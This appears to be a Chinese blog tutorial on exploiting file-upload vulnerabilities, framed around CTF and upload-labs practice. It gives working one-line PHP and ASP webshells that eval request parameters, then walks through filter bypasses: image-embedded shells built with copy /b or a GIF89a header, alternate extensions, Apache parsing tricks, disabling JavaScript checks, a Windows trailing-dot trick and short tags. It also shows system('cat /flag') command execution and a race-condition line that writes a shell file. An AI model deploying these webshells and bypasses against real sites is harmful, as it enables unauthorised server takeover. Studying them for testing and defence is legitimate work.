文件上传

Toretto·2024-04-30 19:12·60 次阅读

文件上传

文件上传

一、定义:#

1.文件上传的定义#

Copy
1.文件上传漏洞是指利用程序提供的文件上传功能,上传当前中间件可执行的脚本文件。比如tomcat就上传jsp文件等。 2.其实文件上传不是你能把脚本文件传上去就成功了,你还得知道其上传到的位置,还需要上传到的目录允许执行,否则传了上去也没法利用。 3.文件上传是为了控制服务器,所以传的要么是小马要么是大马。 所谓小马,就是一句话木马。能做为木马的单条代码,要么具有能动态执行语句的函数,要么具有能调用系统命令的函数。小马需要客户端给小马指定要执行什么命令,最经典的小马客户端应该是中国菜刀。

2.文件包含的定义#

Copy
1.文件包含是指当前脚本文件可通过include等函数,导入其他文件的代码到本文件引发的漏洞。 2.如果“其他文件”可以是本地文件(本机上的文件)那就是本地文件包含漏洞,如果“其他文件”可以远程文件(其他机器上的文件)那就是远程文件包含漏洞。也就是说这两种漏洞产生的位置是一样的,只是因为利用形式不同才把他们区分开来。

3.什么是web shell?#

Copy
1.web就是服务器的web服务 2.shell是人机交互界面 3.web shell的含义就是拿到网站的服务器权限,而木马可以帮助我们拿到web shell

4.什么是菜刀?#

Copy
1.从木马原理可以看出,木马就像一个间谍,而戒碟需要执行任务,发这个任务的“人”就是菜刀,菜刀需要接收间谍的信息 2.拥有菜刀能力的软件有:蚁剑,中国菜刀,冰蝎等

二、文件上传#

木马原理——“一句话木马”#

Copy
' ASP一句话 <% eval request("text") %> ' eval是执行 ' request是从用户那里得到的信息 ' text是用户上传的文件 ' 连起来就是执行从用户那里上传的文件 php一句话木马 <?php @eval($_POST['margin']);?> #@符号表示后面的语句即使执行错误,也不报错。 <?php eval($_GET['a'])?> <?php eval($_REQUEST[a]);?> <script language='php'>eval($_REQUEST[shell]);</script>

https://blog.csdn.net/swmmbswzy/article/details/128024918

大马和小马分别是什么?#

木马根据特点的不同分为大马和小马,大马功能多但不容易上传,小马功能少但容易上传,所以一般小马的作用就是“上传大马”

上传木马的前提是什么?#

1.可以使用eval等执行函数

2.或者存在文件包含漏洞

Copy
通过上传<?php phpinfo();?> 查看目标服务器相关配置 例如: 是否可以执行eval()函数 disable_function

image-20230922094018499

1.“寻找上传点”#

找到一个可以上传文件的地方,比如这里的 “产品图片” 可以上传文件

image-20230719104008473

2.“记录木马地址”#

只有知道木马的地址,才能让菜刀联系到木马

image-20230728101445046

3.“解决报错”#

Copy
可能的报错有:文件格式不正确、文件太小等 解决方法: 1.转换同类格式,比如asp转cer。或者隐写术,在图片中隐藏木马等,对于文件小的问题只要随意填写内容增大文件即可。 2.其他方法还有JavaScript绕过,直接在浏览器页面输入about : config来到高级设置页面找到JavaScript . enabled改为false
图片马(隐写术)
Copy
关于隐写术:需要照一张尽可能小的图片,比如QQ表情。在文件目录输入 c m d 打开终端

image-20230728103144787

Copy
输入指令copy 图片名/b+木马文件 新文件名

image-20230728103759723

Copy
或者直接手动构建图片头(防止对图片头进行了校验):GIF89a

image-20230914143726079

拓展名过滤
Copy
限制黑名单:php,asp,aspx,jsp 可以修改后缀为:phtml,php3,php4, php5, pht等绕过 前提是apache的httpd.conf中有如下配置代码 AddType application/x-httpd-php .php .phtml .phps .php5 .pht 扩展后缀被禁用时,我们还可以传一个2.php.a这样的文件 apache解析顺序是从右到左,解析.a时,解析不了,则会向前解析,解析.php
前端js过滤
Copy
出现前端的提示,推测限制在js代码中 火狐插件Disable JavaScript将js在本地关闭即可绕过 绕过方法: ①删除或者禁用js:火狐浏览器-->about:config-->JavaScriptenable-false (ajax) ②使用代理上传文件,Burp Suite;上传符合要求的文件类型,抓包修改文件类型。 删除js绕过: 直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可(以upload-labs Pass-01举例):

img

windows点号绕过
Copy
Windows特性,在文件名结尾加点号“.”绕过禁止上传所有可以解析的后缀 例如: //以下为关键代码 <?php $deny_ext =array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".htaccess");//等 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if(!in_array($file_ext, $deny_ext)) ?> 由代码看出:上传的文件名会被截取后缀,并转换成小写,但是没有去除点号,所以只要在文件名后缀的后面再加一个点号,他就只能截取一个点号,而且文件后加点号并不影响文件执行 上传a.php.
文件内容过滤
Copy
php标签<? 过滤 使用<script language='php'>eval($_REQUEST[shell]);</script> 或者:<% eval request("text") %> 关键字“php”过滤 php短标签绕过:(前提是需要在php.ini配置中开启short_open_tag选项) <?= eval($_REQUEST[shell]); ?>

4.“连接菜刀”#

Copy
打开蚁剑AntSword,输入秘钥连接目标服务器 或者,直接在页面传递参数: 例如:shell=system('cat /flag');

image-20231103142636358

5.其他#

条件竞争#

Copy
fputs(fopen('../shell.php'),'w'),'<?php @eval($_REQUEST[a])?>');

https://blog.csdn.net/m0_57028135/article/details/129213898

posted @   波波sama  阅读(60)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示
目录